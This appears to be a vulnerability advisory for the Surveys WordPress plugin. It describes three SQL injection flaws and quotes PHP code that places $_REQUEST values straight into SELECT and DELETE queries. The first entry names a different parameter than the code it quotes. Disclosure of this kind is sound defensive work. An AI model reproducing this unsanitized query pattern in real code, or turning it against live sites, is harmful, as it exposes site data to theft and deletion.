Description: The Surveys WordPress plugin lets you add surveys to your blog. You can let the \
visitors take surveys and see the result from the admin side. Vulnerability:
CVE-2017-1002020:
The following code in survey_form.php does not sanitize $_REQUEST['action'] before placing it \
inside of an SQL query:
10: $survey_details = $wpdb->get_row("SELECT name,description,status FROM \
{$wpdb->prefix}surveys_survey WHERE ID=$_REQUEST[survey]");
CVE-2017-1002021:
The following code in individual_responses.php does not sanitize input from $survey_id or \
$_REQUEST[result] before placing it inside of an SQL query:
5 $survey_id = $_REQUEST['survey'];
6 $survey_details = $wpdb->get_row("SELECT ID, name FROM {$wpdb->prefix}surveys_survey WHERE \
ID=$survey_id"); 7
8 if(isset($_REQUEST['action']) and $_REQUEST['action'] == 'delete') {
9 $wpdb->query("DELETE FROM {$wpdb->prefix}surveys_result_answer WHERE \
result_ID=$_REQUEST[result]"); 10 $wpdb->query("DELETE FROM \
{$wpdb->prefix}surveys_result WHERE ID=$_REQUEST[result]");
CVE-2017-1002022:
In questions.php $_REQUEST[survey] is injectable as it is passed directly into the SQL \
statement: 94 $all_question = $wpdb->get_results("SELECT Q.ID,Q.question,(SELECT COUNT(*) FROM \
{$wpdb->prefix}surveys_answer WHERE question_id=Q.ID) AS answer_count 95 \
FROM {$wpdb->prefix}surveys_question AS Q 96 \
WHERE Q.survey_id=$_REQUEST[survey]");
